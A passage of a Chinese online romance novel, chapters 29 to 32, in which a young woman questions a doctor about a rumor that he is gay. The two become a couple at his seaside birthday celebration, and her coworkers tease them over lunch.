他这会儿的样子堪称温和,说话不紧不慢的,语气也很好,对于患者试图“破戒”这种事,也是耐心劝导,不像对自己那样,动不动就要报警…… 她摸了摸耳朵,莫名有一点酸。 其实在程乐可提之前,她是真的没有多想过什么,但现在仔细想想,就连大学里的帅哥都不可能单身,这里怎么就刚好有一个等着自己来捡漏呢? 她想把这些归结为运气好,因为她的运气本来就挺好的,就算他是专门在这里等着自己,也没什么不可以的呀。 “怎么?”清冽的声音忽然临近。 “啊?” 喻了了抬头,顿了一下,才忐忑地问:“那个……你、你有空吗?” 她也知道自己问得挺没道理的,上班时间哪能有什么空,但她需要确认的事情也挺急的,而且只要问一下就好,一定不会耽误他太多时间。 这么想着,她便抓紧时间把人拉到一旁,正色说:“我有个问题想问你。” 他把水笔立回口袋,随口应了声“嗯”,下一秒就见她仰着脑袋,毫无铺垫地问了句:“你是同性恋吗?” “……” 他神情一滞,下颌忽地绷紧,显然已经不是第一次被这么提问了。 这个传言不知从何时开始,早就浸透他的生活,而当今社会,同性恋也是种再正常不过的现象,所以不管是与不是,都没有特意告知的必要,可也正因为如此,一切就好像他故意隐瞒似的,每隔一段就会收到一次这种提问,然后不管他怎么回答,对方都必定会开始敬而远之,或者像不久前那样,干脆上来就给他一巴掌,问他有病为什么不早说。 因为同性恋并不可耻,可耻的只是明知自己的性向,还要“玩弄”异性的感情。 他其实并无所谓这些,更不会去做什么无用的自证,只是有时候也会觉得挺搞笑的。 这是什么传染病吗,有就一定要说? 既然说什么都不会信,又为什么一定要问? 可如果她心里已经有既定答案,亲耳听他说出来会舒服一点的话,那么他照着答,也不是不行。 他气极反笑,神色和缓下来,淡声反问:“你想要什么答案?” 喻了了感觉他笑得有点奇怪,语气便也开始讪讪:“……实话啊。” “确定是实话?”他又问。 “……对啊。”她越说越有点没底。 他看着她已有些被震慑的眼睛和微微往后退开的步子,心底好笑之余,也生了片刻恶劣的作弄心理,最后却只是冷笑着说:“不是。” “好。” 喻了了定定点头,有些着急的退开:“那你先忙吧,我也要回去上班了。” 而这样落荒而逃的身影。 他也是熟悉的- 下午忙完一阵,周晨刚回值班室就见隔壁阴着张鳏夫脸,没忍住多瞅了一会儿,才揶揄了句:“干嘛,被甩了啊?” “……” 时霁瞥他一眼。 没说什么,又回头继续工作。 这怪诞的温和倒把周晨吓住了:“我靠!真的假的?” “早上不还在办公室给大家分蛋糕吗?还说什么我们要庆祝趁白天,晚上你就归她……咦,这就又吵架了?” “没吵。” 他异常沉寂,声音也清清淡淡,看面相和真鳏夫是差不多了多少,周晨毛骨悚然起来,离远了点儿说:“那怎么回事?看她对你那个劲头,估计晚上就要把你就地正法了吧?能有什么事突然就急刹车……” 说到一半,他想到什么,话音猛地一转:“不会是——有人跟她说了什么吧?” 时霁没说话。 资料看到一半,意兴阑珊转着支笔,一副挺无所谓的样子。 周晨却知道他真无所谓时不是这样,不会这么沉默,且非常毒舌,自损一千都要杀敌八百的那种毒舌。 好比自己在医大刚听到那个传言时,还躲过他一阵,最后终于受不了跟他挑明时,当场就喜提了一句:“我又不是不挑。” 所以现在这个情况。 是喻了了听说了什么之后跑了?而他也因此过心了? “靠……”他不自觉地喃喃:“不会吧,别人就算了,但她都跟你处这么久了,居然也信这话?” 说完又有点虚,毕竟医院里的同事,哪个不是跟他处了这么久,还不是照样听谣信谣再传谣,前不久整形外科有个实习医还来送过点心,之后就再没下文,八成也是这个原因。 他其实到现在都不清楚,到底是哪个王八蛋这么狠,故意造这种谣来害他,而他居然也铁了心似的,既不澄清,也不知是真的谁都看不上,还是在跟那人对着干,这么多年偏就一个对象也不找,就这么由着外人怎么想都无所谓。 所以周晨还真没见他被“撞破”这种事后有过什么情绪,只这一次除外。 但他又总觉得还不至于就此作罢:“那你就跟她解释下啊,她不一直都挺听你的吗?说下她肯定就信了啊,实在不行我去跟她说?” 时霁擒住笔端,轻慢地撩起眼皮:“说什么?” 她要实话,他给了。 要不信就是真的不信,说再多都是欲盖弥彰。 周晨一噎,脑海里滚过一圈说辞,还真的打开微信编辑了一段,结果就尼玛……真越看越像是在狡辩。 【喻了了,我用人格跟你保证,他绝对不是gay!认识这么多年我还不清楚吗?他身边除了我哪里还有什么男人,但我又不是……】好像还把自己给拖下水了怎么回事? 最后删删打打,挣扎了小半天,也只发处一句:【喻了了,你别听人瞎说,那些都是谣言!】 几分钟后收到回复:【好的,我知道了】 “……”怎么听着就像反话呢? 他把手机一丢,躺了。 还真是完全没法再解释什么! 傍晚的时候,杜林青来了一趟。 本来是要给时霁替班的,可等人都到了,他才像刚想起有这事似的,怔了一会儿,又摸出手机看了眼,想到今晚应该不会再有什么安排了,才回过头说:“我自己值吧。” “……”- 从医院走后,喻了了就径直回了公司,把当天必须要处理的事情搞定后,就匆匆忙忙打卡下班,一路打车到郊外,来到一栋错落在海边私家院墅。 验证进入后直达顶楼,把事先送过来的装饰品一一拆开,又拖了张椅子坐下,就开始快速地吹吹打打,把还没来得及装扮好的陈设尽数补上。 终于忙完时天已经黑了。 她站在庭院中央,四下逡巡一圈,确认无误后才翻出手机,兴冲冲地发消息问:【你到哪儿啦?】 时霁夜里被喊着去了趟急诊,等忙活完,看到消息已经是一小时之后,此时对话框里除这句外,还有一条十分钟前发来的:【是还在忙吗?】 夜里的急诊乱成一团。 外头的急救声几乎不曾中断,走廊里连片的喘息和间歇性高亢的尖叫,均有些把人压得喘不过气的意思,以至于这短短几个字,都需要半天才能理解。 他呆立在大厅。 不知过了多久,才迟缓打字:【你在哪】 喻了了回得很快:【东郊啊】 【不是说好下班在这边见面吗?地址之前发给你了呀】 【现在天都已经黑了欸,是医院那边有什么急事吗?】 多种思绪交杂在一起,他已经有点难以理清到底哪种是为真切,倒真有点希望,仅仅只是医院有事耽误了会儿而已:【嗯】 喻了了顿了一下。 输入几行字又删掉,半天才犹豫着问:【那你现 在还过来吗?】 …… 这里离市区还是有点儿距离。 他现在找人交班再过来,满打满算也得一个多小时。 喻了了在楼顶吹了会儿风,又有点坐不住,就起身跑下楼去,提前蹲在街角的一片石阶上等,心里正盘算着,要实在不行,自己就捧着蛋糕回去,只要能在12点前见他一面其实也挺好的,耳边就传来一阵车辆疾驰的嗡鸣。 抬起头,便见那辆眼熟的车已经停在空旷的街边,他从驾驶位上出来,迈向自己的步子有点大,着急像要有什么动作,可等来到近前,却又只是自然站定,什么也没做。 喻了了仰头,盯着人看了会儿,才慢吞吞抓着他的手起身,他也没有任何反应,直到站起来的时候晃了一下,他才伸手反握住她,却也只是稳了一下就松开。 她活动了下发麻的腿,有些奇怪地问:“你怎么了?” 时霁没答,只垂眼看着她说:“来多久了。” 喻了了歪着头,老实回答:“下班就过来了呀。” 他却好像不太信:“怎么不叫我。” “啊……”她摸了摸头,有些讪讪:“因为有些东西还没准备好,我就想自己先过来弄一下,弄完就喊你了呀,但你一直没回,我也不知道是不是医院有事,就没敢打电话催你嘛。” 时霁观她神色,便知并未说谎,的确是一下班就过来,而非本来要就此作罢,中途才又变卦。 可他的神色却依然冷峻,少不得也有些因为自己小人之心的缘故。 “走——” 喻了了却没有这些计较,感觉腿缓解了一点后,就笑起来牵着人说:“我带你上去!” 这里是一片私人开发的院舍,平时接待一些来聚会轰趴的客户,楼顶平台空旷怡人,背面靠山,可凭栏望去,眼前又是半片海滩与月夜下的星辰大海。 墙角支着块家庭式的电影幕布,边上散着些水吧台、烧烤架、休闲椅,当中一片下沉式沙发组合,上面一一点缀着各种彩色气球,鲜花蜡烛,和一串迎风飘扬的“生日快乐”。 她把人带到围栏边,纵观整片自然与人为的景色,笑着问道:“好看吧?” 他敛眸,随口应说:“嗯。” “你都没看!” 喻了了很不满意,却也好像知道问题出在哪里:“你不开心对不对?因为我早上问的那个问题。” 因为这样,他从来到这里,就一直没什么表情。 其实她被引导着往那个方向猜的时候,也感觉挺荒谬的,却也觉得既然有疑虑,就还是提前问清楚比较好,倒也没有别的意思,就是觉得如果真是那样,自己再这么缠着他就不对了。 问他就只是想要颗定心丸,却没有意识到这并不礼貌。 “对不起。” 她闷着头说:“我真的没有别的意思,就只是听了一些话,觉得还是跟你确认一下比较好而已。” “现在确认了?”他低声道。 “嗯。”她点头:“你不是都回答我了吗?” “答了你就信?” “对呀。”她神色认真:“要是不信的话,我还问你干什么?” “……” 他眸色微动,有点难以反驳便“人身攻击”的意思:“你傻不傻。” 这种事,虽说也没什么体不体面的,但事实上又有几个人会说真话?对此保有怀疑,并对他敬而远之才是常态。 毕竟谁也不会拿自己的感情去做赌注。 “我哪里傻!”喻了了却有点不服,忽然就挺直脊背理论起来:“问了又不相信的人才比较傻吧!” “……” 他神情一滞,又渐渐松动。 像个心志不坚的人,略做思考,就轻易被她说服:“也是。” “嘿。”喻了了难得在语言上取得胜利,当即便笑起来,又往他跟前凑了些,很认真地问:“那我现在可以继续追你了吧?” “……” 海浪拍打沙滩,送来一簇清新晚风,抚过她柔顺发丝与真挚脸庞,他看着她眼里跃动的碎影,倏然便涌起些冲动,又不甚熟练似的,沉寂半晌,才寡声开口:“喻了了,你也没有很喜欢我吧。” 她愣了一下,被问得有点没底:“为、为什么这么说?” 他其实是个保守又自私到绝不会轻易付出任何的人,一直以来,如果不是她强烈要求,他也绝不会点头屈就,更别说是主动去做些什么。她说要追自己,进度快慢,热烈与否,全都由她,因为他既有足够的耐心慢慢磨,也早已做好了随时抽身的所有准备。 可这一刻,他忽然就没法再接受任何变数,耐心全无地催促她说:“喜欢的话,应该要问。” 他顿了一下。 喉结滚动,有些生硬地说:“我,可以和你在一起吗?” 第30章 第30章你好甜呀。 喻了了怔了怔,像听到了某种认知外的哲学,完全拿不准他想表达的底层奥义,卡顿半晌,才有点无知无畏的跟着重复了句:“那……” “你……可以和我在一起吗?” 话毕便做好了要被从一种更刁钻的角度无情奚落的准备,而后刚要抱头捂脸,就猝不及防听见一声迎风送来的:“嗯。” “……” 她骤然抬头,有点思考无能地眨了眨眼,又连带着把自己的听力和理解能力都怀疑了一遍,也还是没法确定:“嗯……是可以的意思吗?” “怎么。”时霁看着她迷茫到担不起一点责任的样子,轻哂了下说:“想赖?” “不、不是啊……”喻了了慌忙否认,脑子却还是不太够转,完全不理解自己什么都还没做就突然表白成功这件事,到底是怎么做到的。 难以置信到文学水平都在急速回退:“我、我就是想问一下,可以就是同意、确定、没问题的意思吗?就、就是说,你现在已经是我的男朋友啦?” 时霁看着这副明显惊大于喜的模样,不觉冷哼了声,侧了侧身,作势要走:“这么不愿意就算了。” “愿意愿意!”喻了了吓得直接就堵了过去,将人死死困在围栏的死角里说:“愿意的!” 肢体却有些僵硬,反应过来后的脸色也爆红起来,心跳更是攀升到一种前所未有的高度,让她整个人看起来都呆呆的。 讲道理,她虽然追人经验无数,但追成功这还是第一次,还是这么莫名其妙的成功!一时有点不敢相信,多确认几遍又怎么了嘛:“我就是……觉得不太真实嘛。” “……” 时霁单手后撑紧扣围栏,心跳也有点失衡,却难说到底是因为被人“壁咚”还是差点坠楼丧命,反正稳住后的第一想法就是跟这家伙谈恋爱是真的凶险!但凡命不够大都不敢试一下的那种凶险! 但看这样子,好像又有点逃不掉了,便只能伸手捏住她的脸,解气似的说:“这样够真实没?” “唔——” 喻了了正做梦似的红着脸,猛不丁就被提溜着清醒过来,又生怕他再说出什么不真实就当没发生之类的话,赶紧放低语气认错:“够了够了!很真实了!” 时霁轻嗤了声松手,刚平复些心跳,怀里又猝不及防扑进一道温软,一整晚隐约可闻的花香,骤然蔓延至呼吸。 喻了了一股脑埋进他胸膛,双手环抱住他的腰,也不知道想干嘛,就是感觉自己的心跳快得有点离谱,好像只有这样做才能平缓一点,便就这样靠着他,闷闷地窝了会儿,才无意识地咕哝了声:“时霁。” “……嗯。”他的手掌再度后撑,本来就有些维系艰难,又因为身上压着一个人的重量,半天也没敢动弹。 “你心跳好快。”她睁着眼睛,有点神奇地喃喃。 “……”他喉结轻滚 。 能不快吗。 差点死两次了都。 “嘿。”她却好像还挺开心,不自觉便笑起来:“虽然……你好像已经答应了,但我还是想说一下。” 她抬起头,下巴点在他的心窝,很认真地说:“我喜欢你。” 他手里力道愈重,半晌才挤出个音节:“嗯。” 感觉到他好像有点不堪重负,她站直了些,抬高视线问他:“那你呢?” “……什么。” “喜欢我吗?” “……” 这样近的距离,她说话的时候,气息都一应流转在他的颈项,自己毫无所觉,他却喉咙发紧,下颌紧绷,又退无可退。 他虚揽着她的腰,低眸对上这张紧逼至此的热烈轮廓,不知过了多久,才像是终于认清自己别无他法般,妥协似的勾着唇角:“喜欢。” “!” 喻了了激动到差点要跳起来,还没得逞,就直接被拦腰扛了起来,又提溜着往里进了两步警告:“喻了了,想殉情直说,没必要这么挑战我的臂力!” “……” 她半挂在他身上,透过他的肩膀看到不远处的围栏,愣了一会儿,才后知后觉自己刚刚好像作了几次死,当即便老实下来,一声也不敢吭,就这么缩着脑袋埋进他怀里。 时霁冷嗤了声,径直把人扛回沙发区,才没好气地放下来。 喻了了讪讪地笑了一下,回头看到桌上的蛋糕,这才想起自己居然把到这里来正事给忘了! 因为没想到会耽误这么久,她来的时候就没把蛋糕放到冰箱,现在前后过了几个小时,也不知道还能不能吃。 她心脏一提,连忙蹲下来拆包装,直到亲眼看到内里才稍稍松了口气:“还好还好,没有化掉!” 可能是海边气温低,保存还算完好,但也已经有了一点要融化的迹象,再继续耽搁下去肯定不行。 她便又就近拉来一个蒲团,坐下开始翻找蜡烛和打火机,又给银色的26号蜡烛找了个居中的位置,小心翼翼扎下去后,才仰头去看寿星:“你快坐呀。” 时霁低眸看了她半天,有点儿没明白这一整片都是沙发座椅,她为什么一定要选择坐在地上,闻言却也只是跟着扯过一个蒲团,支着条腿,挨着人坐了下来。 露天庭院没有设置主灯,但今天天气不错,月影婆娑如同一层金粉,和掩在鲜花彩球下地灯相映衬,已经很有氛围,墙角支棱的幕布也是亮的,一直都在播放些暖场专用的温馨画面。 喻了了翻出遥控,切换成生日歌的视频,然后幽静的夜空,便随风响起一段欢快的节奏,趁副歌来临之前,又赶紧将蜡烛点上,然后跟着旋律,弯着眼睛对声旁的人唱道:“祝你生日快乐~祝你生日快乐……” 时霁想起她刚刚说感觉不真实时,自己还不以为然,可这会儿置身于光影之中,却也不觉有些恍然。 像陷入一场光怪陆离的梦境,也说不清为什么不太愿意让它破碎,只是下意识地连呼吸都开始放轻。 喻了了唱完,顺势歪着脑袋说:“快许愿吧~” 他还有些怔怔,声音都是轻的:“许什么。” “?”她有点不解,却还是解释:“愿望啊,你自己有什么愿望就许什么啊。” 这种可以不劳而获的机会,让给她的话,少说也能蹦出一箩筐!能不能实现另说,反正先意淫一圈爽一下,不是也很开心吗? 但这会儿看着他淡淡的神色,她脑子里晃过的就都是些他说“不想”、“不要”、“不可以”的样子,好像也有点想象不出来,他到底会意淫些什么事情。 她思忖了下,忽地灵光一闪,兴冲冲给他出主意:“实在不知道许什么愿望的话,你就默念一句会越来越喜欢喻了了好啦!” 他看着她鬼灵精的样子,十分计较地笑起来:“那为什么不能是喻了了越来越喜欢我呢。” 她凑过去,没有一点犹豫的,笑眯眯看着他说:“因为喻了了本来就很喜欢你啊!” “……” 时霁呼吸滞住,也不知她今晚是第几次了,这样无所顾忌地往自己面前扑。 可这会儿虽然不再有坠楼的风险,心跳不知为何还是有些乱,无端便让他想起不久前的某个夜晚:“是么。” “昂!”她定定点头。 他身形微微耷拉些许,而后轻掀眼睑,不经意颤动了下,悠然看进她泛着光亮的眼睛,哑声开口:“多喜欢。” “……” 长睫落下一层阴翳,隔着镜片看去,无端有点破碎,放缓的低哑声音传导进耳膜时,温热气流好像也曾抚过脸颊。 喻了了一时有些呆定,视线怔怔向下游弋,停在他还未完全闭合的薄唇之上,不自觉地便吞咽了下,神思像被抽离,却隐隐泛着些与之温存过的记忆,就这么指引着她覆上去。 只短暂贴合两秒,便抑制不住地有点抖,她抱着他的脖颈,又不太确定地退离一些:“这、这样……算喜欢吗?” 他感知着唇角遗留的温软,眼尾低垂,声线黯淡下来,浑然一副未曾感觉的落寞模样:“好像、也没有很喜欢吧。” 喻了了头脑一热,捧着他的脸就又亲上去,抵着唇瓣摩挲了会儿,又退开,把眼镜摘掉,再亲回去,有点着急地撬动齿关,不小心磕到牙齿,再想退开时,后颈已然覆上一只大手,不由分说将她扣了回去。 她便只能又迎上去,把人抵在沙发前,摁着他的肩膀,跪坐起来同他深吻,唇齿交织间,又不尽兴似的,无意识地咬了好几口。 月影之下,两道身影重叠。 荧幕上的歌曲结束,自动跳转成一部舒缓旖旎的爱情电影,粗重喘息不知是从哪儿传来的,无端有点助兴。 喻了了的脑袋不知空了多久,直到发觉好像亲得有点狠了,才迷蒙着眼退开一点,方才理论的经过早已忘却,感知里满是残余的滚烫,又低喘了会儿,才不自觉地喃喃:“时霁。” 他被抵着额角,声音同样不稳:“嗯?” 她怔怔咂了咂唇,后知后觉一阵清甜,便也就这么回味似的,有点兴奋地说:“……你好甜呀。” 他喉结滚动,有点不解她没事为什么要突然结束,扣在她后颈的手几欲下压,闻言却又顿了顿,眸色流转,低声问她:“喜欢?” “嗯!”她定定点头,舔着唇说:“很喜欢!” 他微不可察地勾了勾唇,又放缓语调,循循善诱:“那还要么?” 喻了了眼睛一亮,丝毫觉不出什么问题,反而还有点惊喜他对自己是真的纵容,都被亲成这样了,居然还要顾及自己有没有尽兴! 但她还是犹豫了一下,有点怕亲过火后下次就不让亲了,最后显然也是没抗住,两秒不到,就又倾身凑了上去。 感觉有点像做梦,不然他怎么会半点也不反抗,就这么由着自己轻薄。 认知到这儿之后,她不知何时又爬到他身上,待亲吻渐渐深入的时候,又开始有点不满足于此,挂在他肩上的手一点点下滑,挑开衣摆,像梦过好几次的场景那样,越发大胆起来。 而后。庭院上空,随风散开的喘息也逐渐变得混乱。 “做什么?” “摸一下嘛。” “这是性骚扰你知道吗!” “但你现在不是我男朋友了吗?” “男朋友就可以随便摸了?” “没有随便啊,就只是摸一下。” “真让你摸了还有得分一下两下?”他极有原则地阻拦:“那就只有一下和无数下好吗!” “好吧。”她也极能变通的,只思考了半秒,就毫不介意地妥协:“无数下也行。” “……”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第31章 第31章我来啦! 到家时已经过了凌晨。 喻了了看表时还有点震惊,感觉一整晚也没做什么,只是接了几次吻而已,居然就花了这么长时间? 她抱着只枕头,呆坐在自家沙发上,神思却好像还停留在海边,满脸都是意犹未 尽的木讷,意识也被嘴里未尽的清甜和唇瓣轻微的肿胀所占据,偶尔回神时,才会后知后觉涌起抑制不住的兴奋与少许的难为情,然后便不自觉地傻笑起来,继而一股脑地埋进抱枕,又发疯似的开始自由翻滚。 就这么神经质地反复了不知几次,丢在茶几上的手机才终于震动起来。 时霁:【到了】 喻了了迅速回神,把抱枕垫在下巴上,捧着手机秒回:【好的好的】 【收到收到】 【暗中观察.jpg】 【偷偷亲一口.jpg】 “……”时霁默了两秒,解开安全带后打字:【还没去洗漱?】 今天耽误得晚了,他特意开得快了点儿,刚进地库就发了消息,就是想着她洗漱出来后可以不用等,结果她居然搁这儿给自己秒回? 【啊……】 喻了了呆了一下,才想起来他走之前好像交代过自己要早点洗漱睡觉:【我忘了!】 【当场愣住.jpg】 【正在加载.jpg】 “……” 他凉凉道:【几点了?】 喻了了噎住,却还是老实回答:【两点……】 虽然但是,她现在就还是不太想睡,并且有一种很强烈的就算躺到床上也是失眠的预感,甚至都有点想直接通个宵,根本原因就还是想跟他聊天、说话、拥抱、接吻,满脑子都是该怎么实现这些,又得等到什么时候才能实现…… 这么想着,她错认到一半,便不自觉地换了话题:【我明天中午去找你吃饭好不好?】 时霁:【?】 喻了了:【哎呀】 【就是很想见你嘛】 【反正你一个人吃饭也是吃,那还不如跟我一起吃呢】 他扬了扬眉,正准备下车,想到电梯里稀薄的信号,干脆又坐了会儿:【等你过来都几点了】 喻了了:【……】 她掰着手指数了一下,自己12点下班,到医院12点半,然后最多也就只能呆半小时就得回公司,才能赶上13点半上班,倒也不是嫌麻烦,主要是半个小时话都说不了几句,还能干得了什么啊! 想了想,刚要说那就等晚上,又想起来他晚上下班更早!总不能让人下班了还在医院等自己,就为了一起吃顿饭之后再回去吧? 咂摸半天,才沮丧的发现,原来他们的时间这么冲突,如果没有刻意调整的话,好像根本就碰不到一起,却又还是不甘心,便嘴炮似的宣泄说:【那要不然诊室能进人吗?我可以8点过去,待到9点就走,保证一句话也不说,绝对不打扰你给看诊!】 “?” 时霁有时候还挺好奇她的大脑构造的,无语了下,却又像个不想阻止孩子想象力的父母,并不直接打击她的想法,只是说:【你觉得呢】 喻了了叹了口气:【当然不行……】 【心如死灰.jpg】 【感觉不会再爱了.jpg】 他像是能看到她因为没办法对自己这点儿什么,而丧着个脑袋的模样,不自觉便笑起来,也终于纡尊降贵似的指点了下:【这就不会再爱了?】 【行吧,那我就不过去了】 【啊?】 喻了了愣了愣,半天才理解出:【意思是你明天中午可以过来吗?】 发出去的当下就醍醐灌顶! 对哦,他11点半下班,到公司的时候自己刚好也下班了,那不直接就可以一起吃饭了吗! 她眼睛亮起来,根本不管他说的是不是反话,立刻就赖皮似的推翻道:【爱的爱的!还是可以爱超级久的!】 【爱心发射.jpg】 【biu~biu~biu~.jpg】 【熬个夜都是爱你的形状.jpg】 他勾了勾唇,无声警醒:【还熬夜】 【你再熬一个试试?】 喻了了:【嘿嘿】 【我马上就收拾一下去睡!】她连声应和,说完又不放心似的补充:【那你明天中午也要记得过来噢】 【掏出小本本记下来.jpg】 【我会一直盯着你的.jpg】 【惹我生气的后果可是很严重的.jpg】 他啧了一声,忍不住逆反:【多严重?】 喻了了:【囧.jpg】 她唯唯诺诺:【会跪下来求你那么严重……】 “……”他顿了下,像也觉得这画面有点没眼看,这才勉为其难似的屈就道:【那算了】 【还是去一趟吧】- 喻了了虽然是听话的撤了,但本身激动的劲头就还没过,再加上对第二天中午的期待,果然还是失眠了。 闹钟响起来的时候,体感就跟没睡也差不了多少,却不知道为什么精神头还挺足的,洗漱收拾半点都没耽误,唯一的不妥就是黑眼圈有点重,而她对遮瑕膏的掌握又约等于没有,缝缝补补半天,不仅什么都没遮住,粉感还越来越重了,最后只能卸掉重来,到这一步就直接略过,很干脆的带着一对熊猫眼就出门了。 到公司的时候,同事看着都有点愣,明明一脸睡眠不足的惨白,精气神却好像刚跑完五公里,一坐到工位就瞬间就入状态,鼠标键盘的声音一上午都没怎么停过,但在临近中午的时候,又会时不时地断开一下,反复去确认时间。 大家平时两点一线,却也不见得都有在认真工作,比如早上到工位时,惯例都会先emo一会儿,再懒懒散散冲杯咖啡,玩玩手机,一直到实在拖不下去了,才会吊着口气面对现实。 间歇性摸鱼也是必然的,只要不干活,连发呆都是香的。 所以胡明宇在发现她开始不停看时间时,立马就有了猜测:“今天要去吃水饺?一起啊。” 公司食堂的水饺,皮薄肉厚,味道很好,但因为是纯手工现包的,每天都是限量供应,想吃的话就得不早不晚,11点55分左右往下溜,因为去太早没法刷卡,太晚的话大部队又要来了。 但一个人溜号吃饭又没什么意思,大家要去的话,通常也都是团伙作案。 喻了了平时一喊就走,今天却很鄙夷地瞥了他一眼,一副从来不参与这种“违规事迹”的正直模样,严词拒绝道:“要吃你自己去。” “?”胡明宇一脸懵:“那你不去老盯着时间干嘛?” 她张了张嘴,本来是要解释的,但一想到要是说实话,很有可能就会因为被要求蹭饭,而直接破坏掉自己期待了半天的二人世界,便果断转了话锋:“当然是为了做一个按时下班的好员工!” “……?” 话音落下,时间刚好跳转到12点。 她蹭地一下站起来,又撂下一句“中午你们自己吃吧”后,就一溜烟消失在走廊尽头,钻进电梯,直达一楼。 而后蹿进大堂,打眼看到个半倚着墙的散漫身影,就径直飞扑过去,从正面把人抱住,不管不顾地在人怀里蹭了两下说:“我来啦!” “……” 时霁被扑得差点挤进墙里,气管都震得有点麻,当下就想警告她说下次能不能给我轻点!可冷不丁被充盈的怀里,油然贴近的体温和被挨蹭过的酥痒,又让他感觉,这种被极度需要的滋味,要是少了热情与冲劲,好像也有点儿差强人意。 最后便只啧了一下,揽着她的腰说:“这么激动?” “昂~”她毫不犹豫地点头,像是觉得触感很好,又抓紧时间多蹭了几下:“我都等一早上了呢!” 说完才赶在路过的人流多起来之前松开,转而却拉他的手,十指交扣,兴冲冲地牵着人往外:“走!带你去吃好吃的。” 公司外围有几条街,基本都是些小店,虽然门头不大,但因为要跟免费的食堂竞争,味道就都做得还可以,不太忙的时候,大家也经常都会光顾。 最近有点降温,有家卖瓦罐汤的就突然畅销起来。 喻了了领着人进去,点完单后又找了个角落,一直到挨着人坐下,都没有要放手的意思,还顺势连小臂一起抱住,非常粘人地凑上去,这才发现他眼底乌青还挺重的,不由歪着脑袋问:“你昨晚也没有睡好吗?” 时霁眯缝着眼,语气也沉下来:“你说呢。” 也不知道拜谁所赐,过个生日跟打战一样,守“贞洁”比守领土还难,单是 歇战到家都已经两点了,睡得再好又能好到哪去。 喻了了却直接屏蔽了被谴责的部分,闻言还挺惋惜:“那早知道昨晚就不睡了,反正都睡不着,还不如多聊会儿呢。” 时霁冷笑了下:“你怎么不说,干脆就在海边待到天亮算了。” “嗯?”她忽然就被点醒了似的,直起身来说:“对哦!早知道就不回来了,要是在那边待得久一点,我说不定就能……” “就能什么。”他动了动手臂,作势要划清界限:“违法乱纪?” “哎呀!”她立马又缠上去,积极认错,却坚决不改:“反正早晚都是会那样的嘛,早一点又不会怎么样。” “……”他简直叹为观止。 现在这是怎样。 走男人的路,让男人无路可走是吧? 喻了了思路打开,又趴到他耳边小声商量:“要不然今晚……” “你好,请问这里有人吗?” 正值饭点,不过几分钟的时间,店里的客流就开始急剧暴增,所有餐桌都被占领之后,便惯例会有人拼桌,喻了了只是没想到,打断自己的会是个熟人,顿时便睁大眼睛:“你们来这里干嘛!” 胡明宇眼睁睁看着刚弃自己而去的同桌,正从一个斯文清隽的男人身上爬下来,也跟见了鬼似的:“你现在在干嘛?!” 光天化日,公司门口强抢民男? 第32章 第32章那还亲么。 既然已经被煞到风景,也就没有继续隐瞒的必要了,喻了了当即挺直脊背,理直气壮地回怼:“这是我男朋友,我想干嘛就干嘛!” “男朋友?”胡明宇根本不信,直接就扯开对面的椅子坐下,像个要拍案升堂的青天大老爷:“你从哪儿抢来的吧?” “难怪一到点就鬼鬼祟祟地溜了,是不是一早就把人威胁到这来了?” “你乱说什么!”喻了了感觉形象有损,顿时就炸了:“明明是我辛辛苦苦好不容易追到的!他也是自发自愿要过来找我的好吗!” 易曜文也根本不听,冲人抬了下下巴就问:“兄弟,要不要帮你报警?” “……!” 喻了了差点暴走,却还是忍了一下,也冲时霁看去,没说话,眼里的意思却很明显:你快跟他们说不是这样的! 他有点忍俊不禁,心道看不出来,大家对你的为人都还挺“信任”的,便也像是迫于某种威压,忍了忍笑,低眉顺目地配合了下:“不用。” 喻了了没在意这些细节,闻言便哼地一声抬起头,一副你们听到没的表情,正要继续理论,下一秒就听见他饱含无奈地补充:“报了也没用。” “……” 众人:“……” 果然如此! 喻了了生气了!神情瞬间冷了下来,直接松掉手里的力道,也不想再“强迫”他了,要把手抽出来时却又冷不丁被反扣住。 修长指骨轻缓摩挲手背,像在给她顺毛,而后低黯声音浸着点儿笑,再次落在她耳边:“因为确实是自愿的。” 她像是被施了法咒,整个人都因此顿住。 因为生气没来得及收的表情还卡在脸上,又不知怎么倏然便爆红起来,大脑像在被两种矛盾的情绪对冲,以至于半天都做不出个合理的反应。 僵了半晌,才红着脸偏开头,假装自己只是大人有大量地不想再计较。 时霁勾了勾唇,也没戳穿。 对面几人明显也是吃足了狗粮,纷纷起了个激灵,勉强判定“这桩婚事”算是双方自愿,而后便禁不住有点肃然起敬,满脸都是对他舍生取义的敬佩之情!见也没什么能帮上忙的,就只好各自送上最真挚的祝福。 胡明宇:“……多保重。” 易曜文:“平时切记要勤锻炼。” 蒋俊昊:“需要护具的话可以找我要链接。” 只有孙然的画风有些差异:“有没有你们说的那么夸张?搞得好像平时就经常挨揍一样。” “?” 另外三人睁大眼:难道不是吗??? 孙然没搭理,说完就回过头来,洗眼睛似的地又盯着时霁看了会儿,才暗戳戳地问喻了了:“欸,这帅哥你从哪个部门淘的啊?之前好像都没见过。” 眼里的意思也很明显:还有没有,快给我也介绍一个! “不是啊。”和同道中人说话,喻了了的语气就和缓很多:“他是医生,不是我们公司的。” 说着就示意她再看下对面三人,也用眼神回话:我们公司的男性颜值水平,这还不明显吗? “……” 孙然瞬间封心锁爱。 “医生?”胡明宇听着却愣了愣,脑子灵光一闪,直接就开口问了:“是不是就前段时间你过……嗷——” 说到一半,小腿腿骨正中突遭袭击,砸得他眼泪都下来了,椅子滋啦一声往后滑开,抱着腿就拼命上下揉搓:“嘶啊啊啊啊啊——” 喻了了保持着原本的坐姿,全程连身体都没有晃过一下,就回过头来,一脸我也不知道他为什么会这样的表情往边上看去。 时霁:“……” 话音终止,其他人却还等着下文,没有心疼,只有好奇:“过什么?” “过、过过过——” 胡明宇疼得龇牙咧嘴,却也只敢怒不敢言:“过度脱发!不是说要去医院吗,还找我问了脱发心得,所以就是这位医生给看的吧?” 这么一说,大家好像也都有点印象:“好像是有这么回事?” “我就说她好端端怎么突然就开始打扮,头回化妆来公司那天还吓我一跳,那粉扑的,跟要来索我命也差不了多少。” “最惊悚的难道不是她一个下工地连头盔都懒得戴的人,居然也开始打遮阳伞了吗?” “不不不!我觉得应该是最早那双高跟鞋……” 喻了了脸色越来越差! 就说不能跟这群人一起吃饭吧!搞得跟个黑历史专场似的,拦都拦不住! 最无语的是时霁好像还挺感兴趣的,在边上饶有兴味听了半天,末了还要跑到她耳边来顺逻辑:“但你来找我看脱发那天,好像已经不这样了?” 他思忖了下,又深感疑惑地追问:“所以你到底是从什么时候开始盯上我的?” “……!” 